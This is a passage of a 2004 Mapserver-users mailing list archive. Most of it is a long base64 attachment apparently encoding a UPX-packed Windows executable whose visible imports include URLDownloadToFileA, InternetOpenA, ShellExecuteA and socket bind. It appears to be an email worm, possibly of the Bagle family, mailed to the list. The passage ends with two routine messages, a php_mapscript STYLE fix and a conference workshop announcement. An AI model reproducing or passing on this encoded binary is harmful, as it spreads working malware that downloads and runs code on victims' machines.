SqjDakLwJqE4+v5ccDDi62TaEg3zetbAQQ1ZFuZvjALl+DPo6DXGE+CjQSmsDk0dooVazgEy jXjxUc0fJBzwTqgBrnTeejGxofjZDeIRHxKS2Vi65zS/u2VaYqc5ks4P3VhyOdLsjgRfHxle giVePN2Rp6GSKVo/V6K5z/eMrcIfshJhBZ7n+UoOBEtGPSg4xmPwHoaS2rQ1pfKB53u9mUYN qwp+WXdjQFUjDUI2VkzCjcP40xKPBfCqPjXyormntiouXVKfjDODNbMKZu8MdSeyMwZv/1G1 9nfZ2LNzHf1OkmswhlJY1zKKcwOpmoYgxHpM/QRyaH9rolxUF/IE2o75vREJCLun7XDlPCKo WttIcuWGUIFn0POWEcnDBHqBof0DscdghzockvX1rBOMejEajKc5aQvO3A8YvXr60liUe2eA byN/uuu6a3mq9Uw6SRWgcvjxow2LccPB9fIgHk2MjM27utJLlO93R2OH9s31+PCv625uBMqI w43/0hHcHiaDXha4ZW1mxgXM+w7Np/5j/Lq2ZHYa8Z2RAYTGRIv7hDD1BoEUyhItMyulR2Tk 2qhDWkO6I0uxmLA8De6QZ2SQobTU8As26+bFBU+y5zDhtnoP70+XOE+FfgbY5OHDJhJ+/FwC Oc7SzDACXzyUS+RsVs8qpfyZOLEL2NMhkpUU1x0RuiN4Fhxx7yN5OPyswRE0VKlsqLpsWBcx ARHkFbbZgpspqQ6+XSSQkgH5bZKEYDb/hHY2GFIrgltuo5ENG08HbDnJw14g6+plif/YAjvs 0vn/6xOys5ktRZ4FmhhikP3FzJKWWhOYoX7RmgzPimMGPC85LIxWHP7mRoaSgyj+pqKZ5GFJ Ub1abhZCBhn2eh7szFDPvj8mKUAKYJ6RZ7pVxl7lRplaXRbLJlwwyn1R8PkWz0G8BRkTJFdd unUg3JCdT4Tez2Xme1oHZCP4aws7yCFugP5iu0tnrVECYyLskluJkun5OrZwBO0+NiIOQ6N8 nuf0T4YFOY9ykaVcD1eOaxvZXisaEBZb3giWkWVkX+FT6FerxFlG80slGOJSOKg5LphiOPB+ bfaDDEk6Et9VmES0U38SDO4BvtaWGzugCtINa3Bme1LzDgjL72zA+QuFuQ53hxJD8j4cgLNM Hp4fGqp7kHuC6upTEq+Ri7HeiJ+Krp5qikwTVZgrhlEd9fkEIdIk0og2cC33o/tR2k+hDiOw 2W3jCwSpIPInrf/g2cEWey3NijYZn+2WpdBwAAANCgFJbiB/sP//YSBkaWZmaWN1bHQgd29y bGQVbmFtZWxlv91c+3NzIHRpCBMcYW4hdG8gc3X+b3/3cnZpdhJTbywgeW91GGlsbCBiZSBt aW639tvvFS0tIEJhZzkgQXV0aE8iMjlht2/uLjA0AglHZXJtRHkufW//t+9qAAHojkCQo2yZ QABoDzgE/zUE3+0a33BAFCGKBTZsBBaxkGpk2v7/dwdBbuvxycNVi+xX/3UIX+sIR/YIgO1u /5ezBTt9DHXzX8nCCEJrT0cAEPsg349BQChok6gOcIEFcVAebu3/ZQAA6ZX+7//M/yXsYA8F KGEZGRl5JCAcGBkZGRkUEAwI8hwZGQQA/GD4MjIyMvTw6OQyMjIy4JxUWDIyMjJcYGRoMjIy MmxwdHg5NjIyfICEv4hgns/n84xgkGCUYJhgLPl8PkegYKRgqGCsYMjIyPOwYLS4vMjIyMjA xMjMycjIyNDU2Nx8Pp/fYYlwYWxhaGFkYcjY5PmoYaQFnMjIyMi0lJCMyMjIyJiwuKzIyMjI vDg0QOHIyMhEUEhMYdlkZGTkeIR8gDIyMsKXFBAI5DthMgzZYAUgZGRkZCQoLDBkZGRkNDg8 QGFmZGRESEwAAiRUQSKaqaL6HcP+9t8+EASMT8vDz9QBy8/M1Mj6AG3///+ptbyurbuov6au k5ef+p6IjJ6elpbUn4ILptn//4EMta+uqrWprtS/or/6tLe7s7QJ/v/f/rWorrW0pQ2uv6i0 v66lqb+5r6XJ1MqlzsrN375tzyCqvAqlYKXDwqUkpbe/pWu3bdjIsRgMqS+0vTkQ+c9uB6i1 RbmuDKm5sr++ych2a2c/rqy+twmsqBjLzAy19v82sTiztdetqKrXzsjL10gKvbnug5Sxs7a2 TLleX66vqreZO7Yvyxe2vhUJHLu2J+QPc68Msb61rbTIyn0sNmsAEEIKuba/uyP8P7aluQu7 rIqIlY6fmY7Dgh652MJZ+7e9qL6zHii3E8ql5GTtNrnnw6JNDLSuD/s2m6wGbLjLwssLrr7P bu3Zrbeks7m+eaq0pb6/C4O1hbylrvwMqo6jLxvWZgpSB6m+qEJhVnAr2I0ZU585tnK/n7IB v6KrrxxYwApMGCWsv53dkmeqvheiFq6zrLOoLdiH8K+p17k6vLupCBewMCu0v3J2DEStOJw1 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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAHUklIa2kPDQfk3tN rx10F4YfMrZ2wn5QZsN3uaC7NsKyOaAkSFgFGilDNQUboz5rWSEwxW4TpIQnrBE5VRYnSHWo VoSwHltWZlugB5hQnXwEfVZWQ5KgbSZBc3G3aXyOPlqwoS96Trc+hT8WxzMnlC47jbCPwyuD dA9wxMKGkIfBfi9jBqyCrUOMRwABeixMoXEyuSG9dl0fKK8vDTaXE0dlGzIxUj4rIMWeD0iI oatyF8IajYd0rFyTYqeMtr1+MRWdsDaZQUFLFKZvAmhglxYWKS1gsy4Uv1c6RjNRVlBup0dR kbdqYcaUKVRxYL47nbqKP6AQfq6YuDMxbBEmh5FEACmjhHCBl3QDAKRjbaQjMLR9RY0YCEAa uoYHDileqn20KG4gQMYnU3iEXGIFQlC1fqlhemIpma9nxkIzFwQOYzRkPFxWvRIzAD5bjYAf A7ggN6kIBLeCLaGhIW83UmC8FCdbRGkbQI6FnmAmkktseZ6vFbGPuTNhRw9RF8JXGGd+FQQA = ----------briymaxqtqjskeanqokf-- From noti at ciaoweb.it Fri May 21 05:23:47 2004 From: noti at ciaoweb.it (Valerio Noti) Date: Fri, 21 May 2004 14:23:47 +0200 Subject: [Mapserver-users] php_mapscript401 doesn't display points References: <4.3.2.7.2.20040520130851.00adb800@mail.gomoos.org> Message-ID: <00eb01c43f2e$8a4ec4c0$0301a8c0@valerion> Thank you very much Eric. It works Valerio > > Try adding a STYLE to your CLASS object: > > CLASS > NAME "pp" > EXPRESSION /./ > STYLE > SYMBOL "test" > SIZE 12 > END > END > > > From dmcilhagga at dmsolutions.ca Fri May 21 06:05:31 2004 From: dmcilhagga at dmsolutions.ca (Dave McIlhagga) Date: Fri, 21 May 2004 09:05:31 -0400 Subject: [Mapserver-users] MUM2 Workshops now available Message-ID: <40ADFE9B.7060205@dmsolutions.ca> Hi everyone, sorry for the X-postings but I wanted to make sure everyone got this. Just under 3 weeks to go until the next Mapserver User Meeting and Open Source GIS conference here in Ottawa, Canada - http://www.omsug.ca/osgis2004/ For those of you who are 